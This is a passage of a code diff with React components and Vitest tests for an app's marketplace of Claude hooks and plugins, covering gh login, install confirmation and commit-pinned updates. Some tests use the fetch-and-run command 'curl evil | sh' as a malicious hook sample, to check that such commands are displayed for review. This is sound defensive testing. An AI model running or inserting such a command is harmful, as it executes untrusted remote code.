} from "../../lib/tauri-commands";
import type { MarketplaceAccount } from "../../lib/types";
interface Props {
label: string;
host: string;
projectId: string;
projectName: string;
onClose: () => void;
onDone: (account: MarketplaceAccount) => void;
}
interface CodeEvent {
account_id: string;
code: string;
url: string;
}
interface OutputEvent {
account_id: string;
chunk: string;
}
const MAX_OUTPUT = 8000;
/** Only open device-login pages on the host being signed in to. */
function safeDeviceUrl(url: string, host: string): string | null {
try {
const u = new URL(url);
return u.protocol === "https:" && u.hostname === host ? u.toString() : null;
} catch {
return null;
}
}
/**
* Drives `gh auth login --web` inside a running container. The command only
* resolves when the login finishes, so the new account's id is unknown while it
* runs; the modal accepts every gh-login event while open. The backend allows
* one gh login at a time, so there is never another flow's event to confuse.
*/
export default function GhContainerLoginModal({ label, host, projectId, projectName, onClose, onDone }: Props) {
const [code, setCode] = useState<string | null>(null);
const [url, setUrl] = useState<string | null>(null);
const [output, setOutput] = useState("");
const [error, setError] = useState<string | null>(null);
const [running, setRunning] = useState(true);
const started = useRef(false);
useEffect(() => {
let cancelled = false;
const unlisteners: UnlistenFn[] = [];
const register = async <T,>(name: string, handle: (p: T) => void) => {
const un = await listen<T>(name, (e) => handle(e.payload));
if (cancelled) un();
else unlisteners.push(un);
};
void (async () => {
await register<CodeEvent>("marketplace-gh-login-code", (p) => {
setCode(p.code);
setUrl(p.url);
});
await register<OutputEvent>("marketplace-gh-login-output", (p) =>
setOutput((prev) => {
const next = prev + p.chunk;
return next.length > MAX_OUTPUT ? next.slice(next.length - MAX_OUTPUT) : next;
}),
);
if (cancelled || started.current) return;
started.current = true;
try {
const account = await startMarketplaceGhContainerLogin(label, host, projectId);
if (!cancelled) {
setRunning(false);
onDone(account);
}
} catch (e) {
if (!cancelled) {
setRunning(false);
setError(typeof e === "string" ? e : String(e));
}
}
})();
return () => {
cancelled = true;
for (const un of unlisteners) {
try {
un();
} catch {
/* already gone */
}
}
};
// Runs once per modal instance; the props do not change while it is open.
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
const cancel = () => {
void cancelMarketplaceGhLogin();
onClose();
};
const openable = url ? safeDeviceUrl(url, host) : null;
return (
<Modal
title={`Sign in to ${host} with gh`}
description={`Running gh auth login in "${projectName}". The sign-in is not kept in that container.`}
widthClassName="w-[40rem]"
dismissible={!running}
onClose={running ? cancel : onClose}
footer={
running ? (
<Button size="md" variant="ghost" onClick={cancel}>
Cancel sign-in
</Button>
) : (
<Button size="md" onClick={onClose}>
Close
</Button>
)
}
>
<div className="space-y-3">
{running && !code && <StatusIndicator tone="busy" label="Starting gh…" className="text-xs" />}
{code && running && (
<div className="space-y-2">
<p className="text-xs">Enter this code on the GitHub device page:</p>
<p className="font-mono text-lg tracking-widest select-all">{code}</p>
{openable ? (
<Button size="md" variant="primary" onClick={() => void openUrlExternal(openable)}>
Open GitHub
</Button>
) : (
url && <p className="text-xs text-[var(--error)]">The sign-in URL did not point at {host}; not opening it.</p>
)}
</div>
)}
{error && <p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap">{error}</p>}
{output && (
<pre className="max-h-40 overflow-auto p-2 text-[11px] font-mono whitespace-pre-wrap rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
{output}
</pre>
)}
</div>
</Modal>
);
}
@@ -0,0 +1,49 @@
import Modal from "../ui/Modal";
import Button from "../ui/Button";
import type { CatalogItem } from "../../lib/types";
interface Props {
item: CatalogItem;
/** The commit whose commands are listed; the install pins exactly this one. */
commit: string;
onConfirm: () => void;
onCancel: () => void;
}
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
return (
<Modal
title={`Install hook “${item.name}”?`}
description={`This hook runs the commands below inside the container whenever its event fires.${
commit ? ` Version ${commit.slice(0, 8)}.` : ""
}`}
widthClassName="w-[40rem]"
onClose={onCancel}
footer={
<>
<Button size="md" variant="ghost" onClick={onCancel}>
Cancel
</Button>
<Button size="md" variant="primary" onClick={onConfirm}>
Install hook
</Button>
</>
}
>
{item.hook_commands.length === 0 ? (
<p className="text-xs text-[var(--text-secondary)]">This hook declares no commands.</p>
) : (
<ul className="space-y-1">
{item.hook_commands.map((c) => (
<li key={c}>
<code className="block font-mono text-xs break-all px-2 py-1 rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
{c}
</code>
</li>
))}
</ul>
)}
</Modal>
);
}
@@ -0,0 +1,164 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, within } from "@testing-library/react";
import InstallControls from "./InstallControls";
import { useAppState } from "../../store/appState";
import type { AppSettings, CatalogItem, Project } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
const C = "c".repeat(40);
/** The snapshot head the user is looking at. */
const H = "d".repeat(40);
function api(): MarketplaceApi {
return {
snapshots: [],
updates: [],
loading: false,
refreshing: [],
load: vi.fn(),
refresh: vi.fn(),
reloadState: vi.fn(),
install: vi.fn(async () => true),
uninstall: vi.fn(async () => true),
setDisabled: vi.fn(async () => true),
update: vi.fn(),
forget: vi.fn(),
remove: vi.fn(),
};
}
const item = (kind: CatalogItem["kind"], patch: Partial<CatalogItem> = {}): CatalogItem => ({
kind,
key: "rev",
name: "rev",
description: "",
path: `agents/rev.md`,
invalid: null,
hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [],
preview: "",
plugin_components: [],
...patch,
});
const project = (id: string, patch: Partial<Project> = {}) =>
({ id, name: `proj-${id}`, marketplace_installs: [], marketplace_disabled: [], ...patch }) as unknown as Project;
function seed(globalInstalls: AppSettings["global_marketplace_installs"], projects: Project[]) {
useAppState.setState({
appSettings: { global_marketplace_installs: globalInstalls, marketplaces: [], marketplace_accounts: [] } as unknown as AppSettings,
projects,
marketplaceFilterProjectId: null,
});
}
const ref = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
describe("InstallControls", () => {
beforeEach(() => seed([], [project("p1"), project("p2")]));
it("installs for all projects", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
});
it("installs for one project", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
});
it("opts a project out of a global install and back in", () => {
const mp = api();
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
const row1 = screen.getByTestId("install-row-p1");
expect(within(row1).getByText("Inherited")).toBeInTheDocument();
fireEvent.click(within(row1).getByRole("checkbox"));
expect(mp.setDisabled).toHaveBeenCalledWith("p1", ref, true);
const row2 = screen.getByTestId("install-row-p2");
expect(within(row2).getByText("Opted out")).toBeInTheDocument();
fireEvent.click(within(row2).getByRole("checkbox"));
expect(mp.setDisabled).toHaveBeenCalledWith("p2", ref, false);
});
it("removes a project-only install", () => {
const mp = api();
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
});
it("requires confirmation before installing a hook", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("I2: a hook confirm installs the commit whose commands it showed", () => {
const mp = api();
const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
// The marketplace moves on while the confirm is open.
rerender(
<InstallControls
mp={mp}
item={item("hook", { hook_commands: ["curl evil | sh"] })}
marketplaceId="m1"
headCommit={"e".repeat(40)}
/>,
);
expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("PR review #4: requires confirmation listing what a plugin runs before installing it", () => {
const mp = api();
const plugin = item("plugin", {
plugin_components: [
{ label: "marketplace.json entry: mcpServers", content: '{ "x": { "command": "curl evil|sh" } }' },
{ label: "hooks/hooks.json", content: '{ "hooks": { "SessionStart": [] } }' },
],
});
render(<InstallControls mp={mp} item={plugin} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText("marketplace.json entry: mcpServers")).toBeInTheDocument();
expect(screen.getByText(/curl evil\|sh/)).toBeInTheDocument();
expect(screen.getByText("hooks/hooks.json")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install plugin" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "plugin" }, { type: "global" }, H);
});
it("a plugin with nothing that runs still asks, and says so", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("plugin")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText(/declares no hooks, MCP servers or commands/)).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Cancel" }));
expect(mp.install).not.toHaveBeenCalled();
});
it("disables everything for an invalid item", () => {
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
});
it("shows only the filtered project when a filter is set", () => {
useAppState.setState({ marketplaceFilterProjectId: "p2" });
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
});
});
@@ -0,0 +1,146 @@
import { useState } from "react";
import { useAppState } from "../../store/appState";
import { projectItemState, type ProjectItemState } from "../../lib/marketplace";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types";
import Toggle from "../ui/Toggle";
import HookConfirmModal from "./HookConfirmModal";
import PluginConfirmModal from "./PluginConfirmModal";
const STATE_LABEL: Record<ProjectItemState, string> = {
none: "",
inherited: "Inherited",
opted_out: "Opted out",
project: "This project",
project_pinned_differently: "Pinned to a different commit",
};
interface Props {
mp: MarketplaceApi;
item: CatalogItem;
marketplaceId: string;
/**
* The marketplace head `item` was read at. Installs pin exactly this commit;
* the backend refuses if the marketplace has moved on since (final review I2).
*/
headCommit: string | null;
}
/** A hook or plugin install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingConfirm {
scope: InstallScope;
item: CatalogItem;
commit: string;
}
export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
const appSettings = useAppState((s) => s.appSettings);
const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const [pending, setPending] = useState<PendingConfirm | null>(null);
const [busy, setBusy] = useState(false);
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
const globalInstalls = appSettings?.global_marketplace_installs ?? [];
const isGlobal = globalInstalls.some(
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
);
const disabled = item.invalid !== null || busy;
// "" never matches a head, so the backend explains that a refresh is needed.
const commit = headCommit ?? "";
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
const run = async (fn: () => Promise<boolean>) => {
setBusy(true);
try {
await fn();
} finally {
setBusy(false);
}
};
/** Every install goes through here so a hook or plugin is always confirmed first. */
const install = (scope: InstallScope) => {
if (item.kind === "hook" || item.kind === "plugin") {
setPending({ scope, item, commit });
return;
}
void run(() => mp.install(ref, scope, commit));
};
const toggleProject = (projectId: string, state: ProjectItemState) => {
const scope: InstallScope = { type: "project", project_id: projectId };
switch (state) {
case "none":
install(scope);
break;
case "inherited":
void run(() => mp.setDisabled(projectId, ref, true));
break;
case "opted_out":
void run(() => mp.setDisabled(projectId, ref, false));
break;
case "project":
case "project_pinned_differently":
void run(() => mp.uninstall(ref, scope));
break;
}
};
return (
<div className="space-y-2">
<Toggle
label="All projects"
checked={isGlobal}
disabled={disabled}
onChange={(v) => (v ? install({ type: "global" }) : void run(() => mp.uninstall(ref, { type: "global" })))}
/>
<ul className="space-y-1">
{shown.map((p) => {
const state = projectItemState(ref, globalInstalls, p);
const checked = state === "inherited" || state === "project" || state === "project_pinned_differently";
return (
<li
key={p.id}
data-testid={`install-row-${p.id}`}
className="flex items-center justify-between gap-2 text-xs"
>
<label className="flex items-center gap-2 min-w-0">
<input
type="checkbox"
checked={checked}
disabled={disabled}
onChange={() => toggleProject(p.id, state)}
/>
<span className="truncate">{p.name}</span>
</label>
{STATE_LABEL[state] && (
<span className="text-[var(--text-secondary)] whitespace-nowrap">{STATE_LABEL[state]}</span>
)}
</li>
);
})}
</ul>
{projects.length === 0 && (
<p className="text-xs text-[var(--text-secondary)]">No projects yet — “All projects” also covers projects added later.</p>
)}
{pending &&
(() => {
const confirm = () => {
const { scope, commit: reviewed } = pending;
setPending(null);
void run(() => mp.install(ref, scope, reviewed));
};
const Confirm = pending.item.kind === "plugin" ? PluginConfirmModal : HookConfirmModal;
return (
<Confirm
item={pending.item}
commit={pending.commit}
onCancel={() => setPending(null)}
onConfirm={confirm}
/>
);
})()}
</div>
);
}
@@ -0,0 +1,197 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor, within } from "@testing-library/react";
import { useAppState } from "../../store/appState";
import type { AppSettings, Project } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
const applyMarketplaceNow = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
applyMarketplaceNow: (id?: string) => applyMarketplaceNow(id),
}));
vi.mock("./UpdateDiffModal", () => ({
default: ({ onAccept }: { onAccept: () => Promise<boolean> }) => (
<button onClick={() => void onAccept()}>accept diff</button>
),
}));
import InstalledPane from "./InstalledPane";
const A = "a".repeat(40);
const B = "b".repeat(40);
function api(patch: Partial<MarketplaceApi> = {}): MarketplaceApi {
return {
snapshots: [],
updates: [],
loading: false,
refreshing: [],
load: vi.fn(),
refresh: vi.fn(),
reloadState: vi.fn(),
install: vi.fn(),
uninstall: vi.fn(async () => true),
setDisabled: vi.fn(),
update: vi.fn(async () => true),
forget: vi.fn(async () => true),
remove: vi.fn(),
...patch,
};
}
describe("InstalledPane", () => {
beforeEach(() => {
vi.clearAllMocks();
useAppState.setState({
toasts: [],
appSettings: {
marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }],
marketplace_accounts: [],
global_marketplace_installs: [
{ marketplace_id: "m1", kind: "agent", key: "rev", commit: A },
{ marketplace_id: "gone", kind: "skill", key: "old", commit: A },
],
} as unknown as AppSettings,
projects: [
{
id: "p1",
name: "api",
status: "running",
marketplace_installs: [{ marketplace_id: "m1", kind: "command", key: "cmd", commit: B }],
marketplace_disabled: [],
},
] as unknown as Project[],
});
});
it("lists global and project installs", () => {
render(<InstalledPane mp={api()} />);
const global = screen.getByTestId("installed-global");
expect(within(global).getByText("rev")).toBeInTheDocument();
const proj = screen.getByTestId("installed-project-p1");
expect(within(proj).getByText("cmd")).toBeInTheDocument();
});
it("badges and accepts an update for the matching install", async () => {
const mp = api({
updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B, invalid_at_head: null }],
});
render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() =>
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
);
});
it("PR review #8: an update belongs only to the install pinned at its commit", () => {
const C = "c".repeat(40);
// The same agent is installed globally at A and in p1 at C. Only the A
// install has an update (A → B); C is unchanged at head.
useAppState.setState({
projects: [
{
id: "p1",
name: "api",
status: "running",
marketplace_installs: [{ marketplace_id: "m1", kind: "agent", key: "rev", commit: C }],
marketplace_disabled: [],
},
] as unknown as Project[],
});
const mp = api({
updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B, invalid_at_head: null }],
});
render(<InstalledPane mp={mp} />);
const global = screen.getByTestId("installed-global");
expect(within(global).getByRole("button", { name: "Review update for rev" })).toBeInTheDocument();
const proj = screen.getByTestId("installed-project-p1");
expect(within(proj).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument();
});
it("re-review round 2: an update that would be refused shows why instead of a Review button", () => {
const mp = api({
updates: [
{
item: { marketplace_id: "m1", kind: "agent", key: "rev" },
pinned: A,
head: B,
invalid_at_head: 'unknown hook event "PreFoo"',
},
],
});
render(<InstalledPane mp={mp} />);
const global = screen.getByTestId("installed-global");
expect(within(global).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument();
expect(within(global).getByText(/Update to bbbbbbbb cannot be installed: unknown hook event "PreFoo"/)).toBeInTheDocument();
});
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
const C = "c".repeat(40);
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
const mp = api({ updates: [{ item, pinned: A, head: B, invalid_at_head: null }] });
const { rerender } = render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C, invalid_at_head: null }] }} />);
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
});
it("marks installs whose marketplace was removed and forgets them", () => {
const mp = api();
render(<InstalledPane mp={mp} />);
expect(screen.getByText("Source removed")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Forget installs from removed marketplaces" }));
expect(mp.forget).toHaveBeenCalledWith("gone");
});
it("removes a project install", () => {
const mp = api();
render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Remove cmd from api" }));
// F7: the ref passed to uninstall must be the bare item ref, not the
// MarketplaceInstall (which also carries `commit`).
expect(mp.uninstall).toHaveBeenCalledWith(
{ marketplace_id: "m1", kind: "command", key: "cmd" },
{ type: "project", project_id: "p1" },
);
});
it("applies now and summarises the result", async () => {
applyMarketplaceNow.mockResolvedValue([
{ project_id: "p1", report: { installed: ["agent:rev"], updated: [], removed: [], skipped: [], errors: [], finished_at: "" } },
]);
render(<InstalledPane mp={api()} />);
fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalledWith(undefined));
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
expect(useAppState.getState().toasts[0].message).toContain("1 running project");
});
it("applies now with no running projects and shows an info toast", async () => {
applyMarketplaceNow.mockResolvedValue([]);
render(<InstalledPane mp={api()} />);
fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "info" }));
});
it("F4: does not toast per-project sync errors from apply now (the event listener owns that)", async () => {
applyMarketplaceNow.mockResolvedValue([
{
project_id: "p1",
report: { installed: [], updated: [], removed: [], skipped: [], errors: ["boom"], finished_at: "" },
},
]);
render(<InstalledPane mp={api()} />);
fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalled());
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" }));
expect(useAppState.getState().toasts).toHaveLength(1);
});
it("toasts an error only when the apply-now call itself fails", async () => {
applyMarketplaceNow.mockRejectedValue("container unreachable");
render(<InstalledPane mp={api()} />);
fireEvent.click(screen.getByRole("button", { name: "Apply now" }));
await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error" }));
});
});
@@ -0,0 +1,202 @@
import { useState } from "react";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
import { useAppState } from "../../store/appState";
import { KIND_LABELS } from "../../lib/marketplace";
import { applyMarketplaceNow } from "../../lib/tauri-commands";
import type { InstallScope, ItemUpdate, MarketplaceInstall, MarketplaceItemRef } from "../../lib/types";
import Button from "../ui/Button";
import UpdateDiffModal from "./UpdateDiffModal";
function errorText(e: unknown): string {
return typeof e === "string" ? e : e instanceof Error ? e.message : String(e);
}
interface Pending {
install: MarketplaceInstall;
update: ItemUpdate;
scope: InstallScope;
scopeLabel: string;
/** Hooks only: what the hook runs at `update.head`, captured with it. */
hookCommands: string[] | undefined;
}
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
const appSettings = useAppState((s) => s.appSettings);
const projects = useAppState((s) => s.projects);
const pushToast = useAppState((s) => s.pushToast);
const [pending, setPending] = useState<Pending | null>(null);
const [applying, setApplying] = useState(false);
const marketplaces = appSettings?.marketplaces ?? [];
const known = new Set(marketplaces.map((m) => m.id));
const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id;
const globalInstalls = appSettings?.global_marketplace_installs ?? [];
/** The update for this very install: same item *and* pinned at the same
* commit (PR review #8) — updates are listed per (item, pinned commit). */
const updateFor = (i: MarketplaceInstall) =>
mp.updates.find(
(u) =>
u.item.marketplace_id === i.marketplace_id &&
u.item.kind === i.kind &&
u.item.key === i.key &&
u.pinned === i.commit,
);
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
* diff review shows what a hook will run after the update, not just the
* raw `hook.json` diff. */
const hookCommandsFor = ({ item, head }: ItemUpdate): string[] | undefined => {
if (item.kind !== "hook") return undefined;
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
// Only when the snapshot is at the head being reviewed; otherwise they
// would describe a different version than the diff.
if (snap?.head_commit !== head) return undefined;
return snap.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
};
const removedSources = [
...new Set(
[...globalInstalls, ...projects.flatMap((p) => p.marketplace_installs)]
.map((i) => i.marketplace_id)
.filter((id) => !known.has(id)),
),
];
const applyNow = async () => {
setApplying(true);
try {
const results = await applyMarketplaceNow(undefined);
// F4 (preflight): the backend emits `marketplace-sync-finished` for
// every project synced here, and `useMarketplaceSyncToasts` already
// toasts any errors/skips from that event. This toast is only the
// success/info summary — a second error toast here would double up.
if (results.length === 0) {
pushToast({ kind: "info", message: "No running projects — changes apply when a project starts." });
} else {
pushToast({
kind: "success",
message: `Marketplace applied to ${results.length} running project${results.length === 1 ? "" : "s"}. New Claude sessions will use it.`,
});
}
} catch (e) {
pushToast({ kind: "error", message: "Could not apply marketplace changes", detail: errorText(e) });
} finally {
setApplying(false);
}
};
const row = (i: MarketplaceInstall, scope: InstallScope, scopeLabel: string, removeLabel: string) => {
const upd = updateFor(i);
const gone = !known.has(i.marketplace_id);
// F7 (preflight): pass the bare item ref, not the MarketplaceInstall
// itself — `commit` is not part of the ref the backend/store expect here.
const ref: MarketplaceItemRef = { marketplace_id: i.marketplace_id, kind: i.kind, key: i.key };
return (
<li key={`${i.marketplace_id}/${i.kind}/${i.key}`} className="flex items-center justify-between gap-2 text-xs py-1">
<div className="min-w-0">
<span className="font-medium">{i.key}</span>
<span className="ml-1 text-[var(--text-secondary)]">
{KIND_LABELS[i.kind].replace(/s$/, "").toLowerCase()} · {nameOf(i.marketplace_id)} · {i.commit.slice(0, 8)}
</span>
{gone && <span className="ml-2 text-[var(--warning)]">Source removed</span>}
{upd?.invalid_at_head && !gone && (
// The update would be refused (re-review round 2), so it is
// explained rather than offered.
<span className="block text-[var(--warning)]">
Update to {upd.head.slice(0, 8)} cannot be installed: {upd.invalid_at_head}
</span>
)}
</div>
<div className="flex gap-1 flex-shrink-0">
{upd && !upd.invalid_at_head && !gone && (
<Button
size="sm"
variant="secondary"
aria-label={`Review update for ${i.key}`}
onClick={() =>
setPending({ install: i, update: upd, scope, scopeLabel, hookCommands: hookCommandsFor(upd) })
}
>
Update available
</Button>
)}
<Button size="sm" variant="ghost" aria-label={removeLabel} onClick={() => void mp.uninstall(ref, scope)}>
Remove
</Button>
</div>
</li>
);
};
return (
<div className="p-4 space-y-4 max-w-4xl">
<div className="flex items-center justify-between gap-2">
<p className="text-xs text-[var(--text-secondary)]">
Installs are pinned to a commit. Containers pick up changes on their next start, or now for running ones.
Changes apply to new Claude sessions.
</p>
<Button size="md" variant="primary" disabled={applying} onClick={() => void applyNow()}>
{applying ? "Applying…" : "Apply now"}
</Button>
</div>
{removedSources.length > 0 && (
<div className="rounded-[var(--radius-control)] border border-[var(--warning)]/40 bg-[var(--warning-muted)] p-2 text-xs space-y-1">
<p>
Some installs come from marketplaces that were removed. They are removed from containers at their next
sync.
</p>
<Button
size="sm"
variant="secondary"
aria-label="Forget installs from removed marketplaces"
onClick={() => removedSources.forEach((id) => void mp.forget(id))}
>
Forget
</Button>
</div>
)}
<section data-testid="installed-global">
<h3 className="text-xs font-medium mb-1">All projects</h3>
{globalInstalls.length === 0 ? (
<p className="text-xs text-[var(--text-secondary)]">Nothing installed for all projects.</p>
) : (
<ul>{globalInstalls.map((i) => row(i, { type: "global" }, "All projects", `Remove ${i.key} from all projects`))}</ul>
)}
</section>
{projects.map((p) => (
<section key={p.id} data-testid={`installed-project-${p.id}`}>
<h3 className="text-xs font-medium mb-1">{p.name}</h3>
{p.marketplace_installs.length === 0 ? (
<p className="text-xs text-[var(--text-secondary)]">
No project-only installs
{p.marketplace_disabled.length > 0 ? ` · opted out of ${p.marketplace_disabled.length} global item(s)` : ""}.
</p>
) : (
<ul>
{p.marketplace_installs.map((i) =>
row(i, { type: "project", project_id: p.id }, p.name, `Remove ${i.key} from ${p.name}`),
)}
</ul>
)}
</section>
))}
{pending && (
<UpdateDiffModal
item={pending.update.item}
fromCommit={pending.install.commit}
toCommit={pending.update.head}
scopeLabel={pending.scopeLabel}
hookCommands={pending.hookCommands}
onClose={() => setPending(null)}
// Pin exactly the head whose diff is on screen (final review I2).
onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)}
/>
)}
</div>
);
}
@@ -0,0 +1,58 @@
import type { CatalogItem } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
import { KIND_LABELS } from "../../lib/marketplace";
import StatusIndicator from "../ui/StatusIndicator";
import InstallControls from "./InstallControls";
interface Props {
mp: MarketplaceApi;
item: CatalogItem;
marketplaceId: string;
/** The marketplace head `item` was read at. */
headCommit: string | null;
}
export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) {
return (
<div className="space-y-3">
<div>
<p className="text-[10px] uppercase tracking-wide text-[var(--text-secondary)]">
{KIND_LABELS[item.kind].replace(/s$/, "")} · <code className="font-mono">{item.path}</code>
</p>
<h3 className="text-sm font-medium text-[var(--text-primary)]">{item.name}</h3>
{item.description && <p className="text-xs text-[var(--text-secondary)] leading-snug">{item.description}</p>}
</div>
{item.invalid && (
<div className="rounded-[var(--radius-control)] border border-[var(--error)]/40 bg-[var(--error-muted)] p-2">
<StatusIndicator tone="error" label="Cannot be installed" className="text-xs" />
<p className="mt-1 text-xs text-[var(--text-secondary)]">{item.invalid}</p>
</div>
)}
{item.kind === "hook" && item.hook_commands.length > 0 && (
<div>
<p className="text-xs font-medium mb-1">Commands this hook runs</p>
<ul className="space-y-1">
{item.hook_commands.map((c) => (
<li key={c}>
<code className="block font-mono text-xs break-all">{c}</code>
</li>
))}
</ul>
</div>
)}
{item.preview && (
<pre className="max-h-80 overflow-auto p-2 text-xs font-mono whitespace-pre-wrap rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
{item.preview}
</pre>
)}
<div>
<p className="text-xs font-medium mb-1">Install</p>
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} headCommit={headCommit} />
<p className="mt-2 text-[11px] text-[var(--text-secondary)]">
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
apply to new Claude sessions.
</p>
</div>
</div>
);
}
@@ -0,0 +1,45 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
const load = vi.fn(async () => {});
vi.mock("../../hooks/useMarketplace", () => ({
useMarketplace: () => ({
snapshots: [],
updates: [],
loading: false,
refreshing: [],
load,
refresh: vi.fn(),
reloadState: vi.fn(),
install: vi.fn(),
uninstall: vi.fn(),
setDisabled: vi.fn(),
update: vi.fn(),
forget: vi.fn(),
remove: vi.fn(),
}),
}));
vi.mock("./BrowsePane", () => ({ default: () => <div>browse pane</div> }));
vi.mock("./InstalledPane", () => ({ default: () => <div>installed pane</div> }));
vi.mock("./AccountsPane", () => ({ default: () => <div>accounts pane</div> }));
import MarketplaceView from "./MarketplaceView";
describe("MarketplaceView", () => {
beforeEach(() => vi.clearAllMocks());
